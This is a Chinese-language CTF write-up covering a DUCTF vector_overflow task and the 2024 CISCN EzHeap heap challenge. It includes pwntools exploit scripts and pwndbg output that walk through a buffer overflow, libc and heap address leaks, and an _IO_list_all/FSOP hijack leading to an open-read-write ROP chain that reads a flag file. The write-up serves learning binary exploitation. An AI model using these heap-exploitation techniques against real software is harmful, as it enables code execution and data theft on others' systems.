做了pwn.college后(pwncollege笔记pwncollege笔记 网站:pwncollege Program Security Shel - 掘金 (juejin.cn))感觉与实际相差甚远,遂开此文,望能坚持别烂尾。
如果您自己没有进行充分尝试,希望您在做完之后再观看下文进行思路的拓展。
1
题目逻辑不算复杂,就是一个覆盖,需要覆盖v为DUCTF,题目中的输入是直接放到_bss_start,根据相对位置,知道需要先填充0x30个字节再填充DUCTF,失败。
from pwn import *
exe=ELF("vector_overflow")
p=process("vector_overflow")
payload=b"A"*0x30+b"DUCTF"
p.sendline(payload)
p.interactive()
这个代码运行出错,没有想象那么简单,经过调试发现在输入内容前原本地址中就存储了数据。
pwndbg> x/16 0x4051e0
0x4051e0 <buf>: 0 0 0 0
0x4051f0 <v>: 4293296 0 4293301 0
0x405200 <v+16>: 4293301 0 0 0
0x405210: 0 0 0 0
于是尝试不改变原本的内容,成功。
from pwn import *
exe=ELF("vector_overflow")
buf = exe.sym['buf']
p=process("vector_overflow")
canary=p64(exe.sym['buf']+0x35)
tmp=p64(exe.sym['buf']+0x30)
p.sendline(b'\x00'*0x10+tmp+2*canary+b'\x00'*0x8+b'DUCTF')
p.interactive()
2 2024-CISCN-Quals EzHeap
破题点:明显的堆溢出
if ( edit_size > 0x500 )
{
puts("error");
exit(0);
}
看沙箱
seccomp-tools dump '/home/ben/Desktop/attack_world/CISCN_guosai2024/ezHeap/EzHeap'
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
只允许特定的系统调用(read、write、open、mprotect、exit)通过,而对于其他系统调用则返回KILL。
解题
查看初始bin。
pwndbg> bins
tcachebins
0x20 [ 7]: 0x55555555cfd0 —▸ 0x55555555d280 —▸ 0x55555555c750 —▸ 0x55555555ce30 —▸ 0x55555555cc90 —▸ 0x55555555caf0 —▸ 0x55555555c6c0 ◂— 0
0x30 [ 2]: 0x55555555b300 —▸ 0x55555555b460 ◂— 0
0x40 [ 7]: 0x55555555b9a0 —▸ 0x55555555b670 —▸ 0x55555555be00 —▸ 0x55555555c460 —▸ 0x55555555c130 —▸ 0x55555555bad0 —▸ 0x55555555b7a0 ◂— 0
0x60 [ 1]: 0x55555555b2a0 ◂— 0
0x70 [ 7]: 0x55555555c990 —▸ 0x55555555cb30 —▸ 0x55555555ccd0 —▸ 0x55555555ce70 —▸ 0x55555555d010 —▸ 0x55555555d190 —▸ 0x55555555c6e0 ◂— 0
0x80 [ 7]: 0x55555555c8f0 —▸ 0x55555555ca70 —▸ 0x55555555cc10 —▸ 0x55555555cdb0 —▸ 0x55555555cf50 —▸ 0x55555555d200 —▸ 0x55555555c640 ◂— 0
0xd0 [ 5]: 0x55555555c170 —▸ 0x55555555be40 —▸ 0x55555555bb10 —▸ 0x55555555b7e0 —▸ 0x55555555b350 ◂— 0
0xf0 [ 7]: 0x55555555c240 —▸ 0x55555555bf10 —▸ 0x55555555bbe0 —▸ 0x55555555b8b0 —▸ 0x55555555b580 —▸ 0x55555555d080 —▸ 0x55555555c370 ◂— 0
fastbins
0x20: 0x55555555b320 —▸ 0x55555555b410 —▸ 0x55555555b430 —▸ 0x55555555c490 —▸ 0x55555555c5a0 —▸ 0x55555555c8c0 —▸ 0x55555555c960 —▸ 0x55555555cb00 ◂— ...
0x40: 0x55555555bcc0 —▸ 0x55555555c320 —▸ 0x55555555bff0 ◂— 0
0x70: 0x55555555d290 —▸ 0x55555555c4b0 —▸ 0x55555555c5c0 —▸ 0x55555555c7d0 —▸ 0x55555555ced0 —▸ 0x55555555cd30 —▸ 0x55555555cb90 —▸ 0x55555555c9f0 ◂— ...
0x80: 0x55555555c520 —▸ 0x55555555c840 ◂— 0
unsortedbin
all: 0x55555555c030 —▸ 0x55555555bd00 —▸ 0x55555555b9d0 —▸ 0x55555555b6a0 —▸ 0x55555555b480 —▸ 0x7ffff7e1ace0 ◂— 0x55555555c030
smallbins
empty
largebins
empty
由于初始太混乱了,先加入一个大块,把fastbin和unsortedbin中chunk的链入smallbin。
Add(0x450,b"bbbb") # 0
查看bin
pwndbg> bins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
tcachebins
0x20 [ 7]: 0x55b9e5ad5fd0 —▸ 0x55b9e5ad6280 —▸ 0x55b9e5ad5750 —▸ 0x55b9e5ad5e30 —▸ 0x55b9e5ad5c90 —▸ 0x55b9e5ad5af0 —▸ 0x55b9e5ad56c0 ◂— 0
0x30 [ 2]: 0x55b9e5ad4300 —▸ 0x55b9e5ad4460 ◂— 0
0x40 [ 7]: 0x55b9e5ad49a0 —▸ 0x55b9e5ad4670 —▸ 0x55b9e5ad4e00 —▸ 0x55b9e5ad5460 —▸ 0x55b9e5ad5130 —▸ 0x55b9e5ad4ad0 —▸ 0x55b9e5ad47a0 ◂— 0
0x60 [ 1]: 0x55b9e5ad42a0 ◂— 0
0x70 [ 7]: 0x55b9e5ad5990 —▸ 0x55b9e5ad5b30 —▸ 0x55b9e5ad5cd0 —▸ 0x55b9e5ad5e70 —▸ 0x55b9e5ad6010 —▸ 0x55b9e5ad6190 —▸ 0x55b9e5ad56e0 ◂— 0
0x80 [ 7]: 0x55b9e5ad58f0 —▸ 0x55b9e5ad5a70 —▸ 0x55b9e5ad5c10 —▸ 0x55b9e5ad5db0 —▸ 0x55b9e5ad5f50 —▸ 0x55b9e5ad6200 —▸ 0x55b9e5ad5640 ◂— 0
0xd0 [ 5]: 0x55b9e5ad5170 —▸ 0x55b9e5ad4e40 —▸ 0x55b9e5ad4b10 —▸ 0x55b9e5ad47e0 —▸ 0x55b9e5ad4350 ◂— 0
0xf0 [ 7]: 0x55b9e5ad5240 —▸ 0x55b9e5ad4f10 —▸ 0x55b9e5ad4be0 —▸ 0x55b9e5ad48b0 —▸ 0x55b9e5ad4580 —▸ 0x55b9e5ad6080 —▸ 0x55b9e5ad5370 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
0x20: 0x55b9e5ad6160 —▸ 0x55b9e5ad5fe0 —▸ 0x55b9e5ad5e40 —▸ 0x55b9e5ad5ca0 —▸ 0x55b9e5ad5b00 —▸ 0x55b9e5ad5960 —▸ 0x55b9e5ad4320 —▸ 0x7fa191e1acf0 ◂— ...
0x40: 0x55b9e5ad5320 —▸ 0x55b9e5ad4410 —▸ 0x7fa191e1ad10 ◂— 0x55b9e5ad5320
0x70: 0x55b9e5ad59f0 —▸ 0x55b9e5ad5b90 —▸ 0x55b9e5ad5d30 —▸ 0x55b9e5ad5ed0 —▸ 0x7fa191e1ad40 ◂— 0x55b9e5ad59f0
0xf0: 0x55b9e5ad49d0 —▸ 0x55b9e5ad46a0 —▸ 0x55b9e5ad4480 —▸ 0x7fa191e1adc0 ◂— 0x55b9e5ad49d0
0x130: 0x55b9e5ad4ff0 —▸ 0x55b9e5ad4cc0 —▸ 0x7fa191e1ae00 ◂— 0x55b9e5ad4ff0
0x180: 0x55b9e5ad5760 —▸ 0x7fa191e1ae50 ◂— 0x55b9e5ad5760
0x1a0: 0x55b9e5ad5490 —▸ 0x7fa191e1ae70 ◂— 0x55b9e5ad5490
largebins
empty
利用0x55b9e5ad5240和0x55b9e5ad5490 —▸ 0x7fa191e1ae70获取elf地址。通过先申请0xf8大小的块获取0x55b9e5ad5240,然后堆溢出到0x55b9e5ad5490,再0x10到0x7fa191e1ae70。
Add(0xf8,b"bbbb") # 1
pl=b'a'*(0x55b9e5ad5490-0x55b9e5ad5240) + b'b'*0x8 +b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
p.recvuntil(b'kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
print(hex(libc_base))
delete(1)
pwndbg> bins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
tcachebins
0x20 [ 7]: 0x5588223bafd0 —▸ 0x5588223bb280 —▸ 0x5588223ba750 —▸ 0x5588223bae30 —▸ 0x5588223bac90 —▸ 0x5588223baaf0 —▸ 0x5588223ba6c0 ◂— 0
0x30 [ 2]: 0x5588223b9300 —▸ 0x5588223b9460 ◂— 0
0x40 [ 7]: 0x5588223b99a0 —▸ 0x5588223b9670 —▸ 0x5588223b9e00 —▸ 0x5588223ba460 ◂— 0x6161616439e342db
0x60 [ 1]: 0x5588223b92a0 ◂— 0
0x70 [ 7]: 0x5588223ba990 —▸ 0x5588223bab30 —▸ 0x5588223bacd0 —▸ 0x5588223bae70 —▸ 0x5588223bb010 —▸ 0x5588223bb190 —▸ 0x5588223ba6e0 ◂— 0
0x80 [ 7]: 0x5588223ba8f0 —▸ 0x5588223baa70 —▸ 0x5588223bac10 —▸ 0x5588223badb0 —▸ 0x5588223baf50 —▸ 0x5588223bb200 —▸ 0x5588223ba640 ◂— 0
0xd0 [ 5]: 0x5588223ba170 —▸ 0x5588223b9e40 —▸ 0x5588223b9b10 —▸ 0x5588223b97e0 —▸ 0x5588223b9350 ◂— 0
0xf0 [ 7]: 0x5588223ba240 —▸ 0x5588223b9f10 —▸ 0x5588223b9be0 —▸ 0x5588223b98b0 —▸ 0x5588223b9580 —▸ 0x5588223bb080 —▸ 0x5588223ba370 ◂— 0x6161616439e342db
fastbins
empty
unsortedbin
empty
smallbins
0x20: 0x5588223bb160 —▸ 0x5588223bafe0 —▸ 0x5588223bae40 —▸ 0x5588223baca0 —▸ 0x5588223bab00 —▸ 0x5588223ba960 —▸ 0x5588223b9320 —▸ 0x7f098ce1acf0 ◂— ...
0x40 [corrupted]
FD: 0x5588223ba320 ◂— 0x6161616161616161 ('aaaaaaaa')
BK: 0x5588223b9410 —▸ 0x5588223ba320 ◂— 0x6161616161616161 ('aaaaaaaa')
0x70: 0x5588223ba9f0 —▸ 0x5588223bab90 —▸ 0x5588223bad30 —▸ 0x5588223baed0 —▸ 0x7f098ce1ad40 ◂— 0x5588223ba9f0
0xf0: 0x5588223b99d0 —▸ 0x5588223b96a0 —▸ 0x5588223b9480 —▸ 0x7f098ce1adc0 ◂— 0x5588223b99d0
0x130: 0x5588223b9ff0 —▸ 0x5588223b9cc0 —▸ 0x7f098ce1ae00 ◂— 0x5588223b9ff0
0x180: 0x5588223ba760 —▸ 0x7f098ce1ae50 ◂— 0x5588223ba760
0x1a0: 0x5588223ba490 —▸ 0x7f098ce1ae70 ◂— 0x5588223ba490
largebins
empty
0x5588223b92a0,通过x/300x找到这个数据存的就是heap_base。
add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
p.recvuntil(b'ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
print('libc_base ',libc_base)
print('heap_addr ',heap_base)
利用ORW实现flag获取。
import os
import sys
import time
from pwn import *
from ctypes import *
from pwn import u32,p64,u64,u32
context.os = 'linux'
context.log_level = "debug"
p = process('/home/ben/Desktop/attack_world/CISCN_guosai2024/ezHeap/EzHeap')
libc = ELF('/home/ben/Desktop/attack_world/CISCN_guosai2024/ezHeap/libc.so.6')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3
def duan():
gdb.attach(p)
pause()
def choice(cho):
p.sendlineafter(b'choice >> ',str(cho).encode())
def add(size:int,content:bytes):
choice(add_idx)
p.sendlineafter(b'size:',str(size).encode())
p.sendlineafter(b'content:',content)
def delete(idx:int):
choice(delete_idx)
p.sendlineafter(b'idx:\n',str(idx).encode())
def show(idx:int):
choice(show_idx)
p.sendlineafter(b'idx:',str(idx).encode())
def edit(idx:int,size:int,content:bytes):
choice(edit_idx)
p.sendlineafter(b'idx:',str(idx).encode())
p.sendlineafter(b'size:',str(size).encode())
p.sendlineafter(b'content:',content)
def exit():
p.sendlineafter(b'choice >> ',b'5')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
add(0x450,b'bbbb')
add(0xe8,b'bbbb')
pl=b'a'*0x250 + b'b'*0x8 +b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
p.recvuntil(b'kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
print(hex(libc_base))
delete(0)
delete(1)
add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
p.recvuntil(b'ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
print('libc_base ',hex(libc_base))
print('heap_addr ',hex(heap_base))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
rax= libc_base + 0x45eb0
ret = libc_base + 0x29139
lock =0x3ed8b0+libc_base
magic_gadget = libc_base + 0x16a050 +26
syscall = libc_base + libc.sym['read'] + 0x10
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
orw_addr=heap_base+0x3210
flag_addr = heap_base+0x260
chunk0 = heap_base + 0x24b0
add(0x250,b'pppp')#idx=1
add(0x458,b'aaaa')
add(0x458,b'aaaa')
add(0x448,b'aaaa')
add(0x448,b'aaaa')#idx=5
delete(2)
add(0x498,b'a')
delete(4)
orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
orw+=p64(rdi)+p64(orw_addr)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(1)
orw+=p64(syscall)
edit(5,len(orw),orw)
pl=b""
pl+=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
add(0x4e0,b'a')
add(0x440,b'b')
exit()
p.interactive()